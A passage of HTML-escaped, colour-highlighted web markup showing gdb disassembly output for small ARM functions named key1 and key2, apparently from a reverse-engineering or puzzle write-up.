14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dd0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;148&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;andeq&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r10,&amp;nbsp;r6,&amp;nbsp;r4,&amp;nbsp;asr&amp;nbsp;#9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;key1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;key1:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cd4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r11,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cd8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cdc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;pc&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008ce0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008ce4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008ce8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r11,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cec&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;key2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;key2:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cf0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r11,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cf4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cf8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r6}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r6,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cfc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r6,&amp;nbsp;pc,&amp;nbsp;#1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d00&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d04&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;pc&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d06&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;adds&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;#4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d08&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r3}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d0a&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{pc}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d0c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r6}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r6,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d14&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d18&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r11,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 